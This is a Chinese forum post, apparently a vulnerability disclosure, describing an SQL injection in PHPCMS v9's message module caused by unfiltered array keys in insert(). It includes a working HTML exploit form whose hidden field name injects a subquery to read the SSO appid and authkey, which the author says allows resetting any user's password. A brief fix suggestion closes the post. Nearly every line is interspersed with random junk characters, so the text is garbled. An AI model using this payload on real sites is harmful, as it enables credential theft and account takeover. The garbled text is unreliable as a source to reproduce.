|
简要描述:
/ f; E; q/ ^6 j3 T) Y
* v! J+ `! q, s第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。8 ?+ v8 x* ]* x; H: c# l' {
. b3 V7 X$ r& ^" R& N3 U. ]明天再更新下一个漏洞。: `& a4 `/ y# ^' J x
详细说明:
{$ P6 ^) a+ c3 T: I) x l& o在/phpcms9/phpcms/modules/message/index.php中有代码如下:+ K3 d% S( P ]- [
9 G- `5 v( h- e4 r& A$messageid = $this->message_db->insert($_POST['info'],true);% Z# Z. d$ ~/ s' v
, M4 y/ c ^3 `
* c& W5 n b5 {5 U9 }insert方法是key value的,代码如下:
! T T* R9 @8 N& Q; q! |% e# Y2 Z9 _9 l
public function insert($data, $table, $return_insert_id = false, $replace = false) {
$ x6 ~- o2 ]2 E" T7 D4 q0 e% w if(!is_array( $data ) || $table == '' || count($data) == 0) {
, \6 s$ [+ o- U# r/ Y return false;
5 l, B9 W7 m* a; j4 f; p: j" Y9 F }
. P+ V: F! h4 z 8 A, Z% s/ G; W7 m
$fielddata = array_keys($data);+ e9 \, ~. _( O9 t& l0 c- f; d
$valuedata = array_values($data);2 e/ `! |+ [9 b. M2 y( D2 s+ h
array_walk($fielddata, array($this, 'add_special_char'));, {, j. J2 @6 o+ r9 l
array_walk($valuedata, array($this, 'escape_string'));+ ~6 p1 `( p( o6 D0 f- c
0 h: Q, {/ n$ R9 c7 e $field = implode (',', $fielddata);: u, u4 y3 f# W$ h0 `
$value = implode (',', $valuedata);
/ f0 D1 F9 F/ S* y4 X' k( Z6 w+ z$ K2 |5 g( s
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';$ J& O( e# y' ~" U6 a; ~7 T5 {' \) }
$sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
9 w( F# ]: S% J, u% o- g $return = $this->execute($sql);
+ }2 l4 @4 T* Q/ U3 S3 H7 d8 P return $return_insert_id ? $this->insert_id() : $return;
# k9 n: j: |+ n ? }- d1 [* \4 [( O
/ c8 y P4 N& D# P, p) d
: E; J- }0 @5 ?3 ?9 b" H7 y" X
嗯,很遗憾的是
* r ?2 T4 [2 T ]6 b G
1 o8 f( K# n) N( c3 c% ?4 Qarray_walk($fielddata, array($this, 'add_special_char'));' `& M. V7 {- V, _
- a- r- Z7 Z* P4 w
) \9 |9 c$ S- p+ M! i! _中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。
( c/ U) J; A* k6 z; o( J. x3 W
- `6 I' U& E6 G A+ e/ u# l7 h4 e6 F到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
( L* v8 L* b, Z2 I& w& S0 C) p6 h$ k$ V& n- s% p- A
漏洞证明:; Q6 E1 {* R) f4 B0 q
读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。6 o7 \* @! v" i$ C8 O7 I* C
' [% M4 D6 K- b7 i7 T* u) j, ~
/ M/ P# ~7 V' E$ A; P5 d; m表单如下:用户名什么的得自己改一改。# }( [. `9 I/ R: Y% z$ E1 a' c
<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
! l# |- Z+ `- b; F8 E, Q<table width="100%" cellspacing="0" class="table_form">
7 Y2 B) c0 r" r2 i$ A" J<tr>
/ {8 M( H# [' G( G( o! l3 r<th>标 题:</th>: s! N, n8 S! w! P d
<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
2 v+ r% N& ?# A% ~</tr> 9 J2 X! i. c1 _, K4 b R
<tr>
( ]# M f. J. v9 A5 ]# U+ f! |<th>内 容:</th>
% x' ~4 s4 K2 G+ Y/ [<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>' @4 U. g4 J* g. R P+ ~
</tr>
5 j, B' m e# v3 O* r<input type="hidden" name="info[replyid]" value="2" />
1 A) ]8 l' r. [6 {<input type="hidden" name="info[send_to_id]" value="cc" /> 1 k5 H6 ?& g/ R3 O! t5 ^
<input type="hidden" name="info[send_from_id]" value="hh">
4 }6 c% s' A& W( j* u<!-- 漏洞的利用重点在这里开始 -->! v( D. u! J o
<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
! x4 V9 ^: q4 p9 D/ G5 B<!-- 漏洞的利用重点在这里结束 -->$ h0 l0 |+ L2 j$ E
<tr>/ |, G; ?8 d4 A1 U
<th>验证码:</th>
5 X* k0 F3 s! K3 X) F9 S" ?5 u/ {0 r<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>1 I M& j; W& w, z) `8 X
</tr>- i7 T" r& y g! v# o/ F& s5 S3 Y; ^+ z
<tr>
! N( e+ I g, j6 W9 l<td></td>/ ]+ E0 G+ t8 |2 Z- ?* ]
<td colspan="2"><label>
% U/ F+ s$ t' A# D: C( |$ K<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
# }+ n8 a; w. U</label></td>
j6 f6 ?9 P% k* I" G</tr>
T: _ G; k( V</table>
( @3 t1 m4 N( ^, |</form>% f. v& Q1 [' q3 _& H+ x$ ?
在add_special_char函数内对key做过滤就可以了。
. O0 ~2 V" d$ t$ |3 s% n
& ^ ~* @( n) l2 Y Z3 @
/ F4 Q7 T. J& G. E4 n8 ?
$ e/ A. D4 C3 Q& C* @* B, E |
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|